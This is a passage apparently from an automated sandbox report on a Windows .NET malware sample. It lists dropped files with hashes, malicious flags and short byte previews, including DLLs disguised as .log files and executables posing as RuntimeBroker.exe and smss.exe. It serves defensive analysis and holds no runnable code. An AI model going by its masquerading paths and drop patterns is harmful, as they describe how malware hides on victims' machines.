                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\vxjLKDgG.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\wPmufWmp.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\wYgehcYN.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\xLDDFxvn.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\xRmeReqW.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\xVHnDcnI.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\xYvLahMV.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\xZWxwORc.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\xxMkqOtN.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\zFqnDsmU.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\zamDhbWa.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\zcIfRxVX.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\zmODVbbC.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Windows\L2Schemas\9e8d7a4ca61bd9

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with very long lines (940), with no line terminators
                                                    Category:dropped
                                                    Size (bytes):940
                                                    Entropy (8bit):5.919492361033418
                                                    Encrypted:false
                                                    SSDEEP:24:igN/exBn6gcZ1RCqlnFctFsUJzjptnAfgNsQZNmc:d1gn6gcXRCq9Fcf1j31tZNmc
                                                    MD5:766D1695970F127EB251989964DB9DC3
                                                    SHA1:C364BEE4CB0A85CDAC0E535123B67CDE45D24604
                                                    SHA-256:C562E088787C393E7375AA44F62F5E53E4B44B83A576585706D601E89A1EB989
                                                    SHA-512:C9AC29349C348372ED44586821EE8D9B4C31F122554C012631CE6794A157C87003B4BE5949D98C775B7BDA3A48E2C6B3DF32681DFAA7E2872C3ACB767BA0848E
                                                    Malicious:false
                                                    Preview:e7nnth3g8d3WX4e4VE2TuZcoujYmqpXg7pz3v1UYYLrVgmungze3fSLEe92JIQ0TGWZrEkJdte4jrHIHzvG0LdAoevZv8KPHVYPJNCi5qAJBXlWW1vUWK9HmWuNTLYfiOxOS284wMKKKT9Q3YD4N026WRmxczPuRflwkXDd21hKAy6SWdU5HdRrV02BQLb77Z2psNqfUkCWSs6hUUa9fTnyN3aufCNqZkNk5RjJxylgb5Zn4Ur5ucbnwEbyw6ASXV6sfVmCuRLrsGXRexzLUR57Jjy1zuW1yTJF9qHjroKdQu5qqJU8Gz7FZ8j5gvNA4U2Z6SSxpQdpHcqYnIKpaXu8VEpAHMC6bKi61gtY1gT0VR87SKRYlhjhj3D2nSpdNhO74ugHZvy4E4nDGrr74oV3lAW7d0vi0zmyDACinK8ztpcpQ9w5ksjjLUW3XjoiAPDORyAFpJTtpfK5hqqdE08HQDmtoIKEfaydlOYc9rPaYz3qJaWq2KeKQ57OLRag8PNPrrUTSOeWkhtaK6jOweMV5oMpQKRsRtcJln8cFCYnqHktMgDOrLueD2TDeoCI7wF1Fjzg8HJtFioyDdduGCAG87FtU57aAQq4CsnmrhQkBAYfOf9BLSB5v92IdFLCJstz1tvVz0CivaE8ikez56OsOvID0fIlWNaTQjnetoLVPdJV43j3lWHNeAlFkseUraMi9vr96AFRu3cumxI65PA9GMzQ7h3BJ1oyQlWJLk6lQzclh0dxjiYbaMbw6bBYGEH3OoeAb8uVSZtQuOsHEGblcMYEJjNujheMsjW3WcWkxDIAdLCst3UAmgbCPZ11vAvv4giK1yvlt1yYDXk8gfApMekMHTo6lezwRXG7n104ItQurC81z3VP9GiZ6WDhKyAOCCHpRnUopGgdNzeFUwGrJjwLzqARyStTtCsp5TkLi

                                                    C:\Windows\L2Schemas\NkgVUECczLKUWJoEOfo.exe

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):3697152
                                                    Entropy (8bit):7.825214540117569
                                                    Encrypted:false
                                                    SSDEEP:98304:wU0X6MSPLBMjtLfNwpOtXpsrN7jtUzEsidnwjnU:wU0BxqpOEjtUQs+wD
                                                    MD5:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    SHA1:A8B7565BAB387BAEE59FD80E21BA2806AB0EEB38
                                                    SHA-256:C6887B45E8295FD4896655603B599850CFF7FC0B4322E5ACE083D584196755A4
                                                    SHA-512:37F86E51DDD6BEDA3124E22BBD0D61CE8B90EFF99AAA31AA76DB9528AE4533B14DD4B15CB8737585B27C3A624FCD38824B9B4F6B646B79286910EDFFFEC40AE0
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e.................b8...........8.. ....8...@.. ........................8...........@...................................8.K.....8. .....................8...................................................... ............... ..H............text...$`8.. ...b8................. ..`.rsrc... .....8......d8.............@....reloc........8......h8.............@..B..................8.....H.......l...T...............z.-.O.8......................................0..........(.... ........8........E....*.......N...)...8%...(.... ....~....{....:....& ....8....*(.... ....~....{m...:....& ....8....(.... ....8........0..)....... ........8........E........u...........P.......8....~....(P... .... .... ....s....~....(T....... ....~....{....:....& ....8.......... ....~....{s...9y...& ....8n.......~....(X...~....(\... ....<C... ....~....{....98...& ....8-...8*... ....~....

                                                    C:\Windows\L2Schemas\NkgVUECczLKUWJoEOfo.exe:Zone.Identifier

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):26
                                                    Entropy (8bit):3.95006375643621
                                                    Encrypted:false
                                                    SSDEEP:3:ggPYV:rPYV
                                                    MD5:187F488E27DB4AF347237FE461A079AD
                                                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                    Malicious:false
                                                    Preview:[ZoneTransfer]....ZoneId=0

                                                    C:\Windows\L2Schemas\RuntimeBroker.exe

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):3697152
                                                    Entropy (8bit):7.825214540117569
                                                    Encrypted:false
                                                    SSDEEP:98304:wU0X6MSPLBMjtLfNwpOtXpsrN7jtUzEsidnwjnU:wU0BxqpOEjtUQs+wD
                                                    MD5:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    SHA1:A8B7565BAB387BAEE59FD80E21BA2806AB0EEB38
                                                    SHA-256:C6887B45E8295FD4896655603B599850CFF7FC0B4322E5ACE083D584196755A4
                                                    SHA-512:37F86E51DDD6BEDA3124E22BBD0D61CE8B90EFF99AAA31AA76DB9528AE4533B14DD4B15CB8737585B27C3A624FCD38824B9B4F6B646B79286910EDFFFEC40AE0
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e.................b8...........8.. ....8...@.. ........................8...........@...................................8.K.....8. .....................8...................................................... ............... ..H............text...$`8.. ...b8................. ..`.rsrc... .....8......d8.............@....reloc........8......h8.............@..B..................8.....H.......l...T...............z.-.O.8......................................0..........(.... ........8........E....*.......N...)...8%...(.... ....~....{....:....& ....8....*(.... ....~....{m...:....& ....8....(.... ....8........0..)....... ........8........E........u...........P.......8....~....(P... .... .... ....s....~....(T....... ....~....{....:....& ....8.......... ....~....{s...9y...& ....8n.......~....(X...~....(\... ....<C... ....~....{....98...& ....8-...8*... ....~....

                                                    C:\Windows\L2Schemas\RuntimeBroker.exe:Zone.Identifier

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):26
                                                    Entropy (8bit):3.95006375643621
                                                    Encrypted:false
                                                    SSDEEP:3:ggPYV:rPYV
                                                    MD5:187F488E27DB4AF347237FE461A079AD
                                                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                    Malicious:false
                                                    Preview:[ZoneTransfer]....ZoneId=0

                                                    C:\Windows\L2Schemas\bb1ff9bc311443

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with very long lines (709), with no line terminators
                                                    Category:dropped
                                                    Size (bytes):709
                                                    Entropy (8bit):5.894807771450955
                                                    Encrypted:false
                                                    SSDEEP:12:vezLK95B+GVWVMrVP8CnUM5a1Fx+98eNaEzVktWpUB506UBJt1UL7oj1:vmLakGgVYZX5aF+zaq+Wp25QF87oj1
                                                    MD5:6312F289A297B7ACF75B2C87A9CE803D
                                                    SHA1:41D90AD47812B334F0A5CADFD8AAB5CAFD47CFA8
                                                    SHA-256:8454A3CBFD5D697C693BCC47E00718A719856EB666816B278E5103A5D9319B42
                                                    SHA-512:B1610EC696096C1FAD94D69713B8ADE12C834BA8FD4C7C38ACCFBC042463A56B0E23C1A771C880E9051D609914F0F2B4AB231EC884B1D2FA3972CB08E5D35C08
                                                    Malicious:false
                                                    Preview:SFcP50kmD0XWNuLHzJBL5Jd92mue4Z0FVma6PZAc9ie0NhWUA9CyLNwJldXTFGso9RBlTO1ZJiLWonvVQad4XC3HzRVwCrX30005gvAvImpmBaf8rBCpnyQ6Y3vC3EXcLSfxw0zfarvuXQGYvWFAosPBk4hm972EPMbt4rM0MhP5CfjHwXRh9WycCdN2TMfczrfKyXeDJOyGdU9EUZ0mqVE2Y8qaeUhACwFU9ZSZ2NXuis9seIh3W3vemnvzqDjzqyEqPoE5Gatd7UUq986VwnnIAkrWnctzohDuoTdzEmw6KSgSTF0sHNCCK5po7sSor3yaQjCqfGRK1r8sEZChmAsbeAksny2VUIOQdGBtDKNA52Lc67khpuBqLX5P9TCqO5zscsO7XSebxrflzHvqOUqjGiEGLwutHgwACc9OsmKWPk2d2Ta1hVb3PPm4nIwliuTR5ejWIh7mKTUgpkN1V2LvE3vw0Ekk0iyeQliXuEsAYzs55FOC44PpjhMCtwfD6XvmfzQEC0HRJLXPKz1v0hp5SI5sZgn7ipDADGaGzKADx8gXJ6145uNYrzTW3iofMJteHXLEZu6qhmIUmhidptCxbpSOwDMQfe1nPBQwuweKyh1Fr9uV9L0cH5DcE7RVipKCueElRvs3P183xNhxS0QUnYgU7xrxeImJXyUM4JENd7NP6Jo1aeDsY0YW8uneE4YGP

                                                    \Device\Null

                                                    Download File
                                                    Process:C:\Windows\System32\PING.EXE
                                                    File Type:ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):502
                                                    Entropy (8bit):4.625122004957738
                                                    Encrypted:false
                                                    SSDEEP:12:PdSA5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:XdUOAokItULVDv
                                                    MD5:C8DB73FC79351152850BD6644B29E575
                                                    SHA1:3CC5B1748DAA9EB0A053B28267693758C1F690A1
                                                    SHA-256:4F8C0AF2E243DDFDA12A2DF3C225660C0F8D17EA63A2ED92282199967D15F517
                                                    SHA-512:5E1E250E22F3DFBB5706A81AAE00168EF73A0138D4C3684A171810211C873970E8FCDE2F19C1D3E32E506711725A04F3097AC26F6305005BC264FFD3B26999B7
                                                    Malicious:false
                                                    Preview:..Pinging 767668 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

                                                    Static File Info

                                                    General

                                                    File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Entropy (8bit):7.825214540117569
                                                    TrID:
                                                    • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                    • Win32 Executable (generic) a (10002005/4) 49.75%
                                                    • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                    • Windows Screen Saver (13104/52) 0.07%
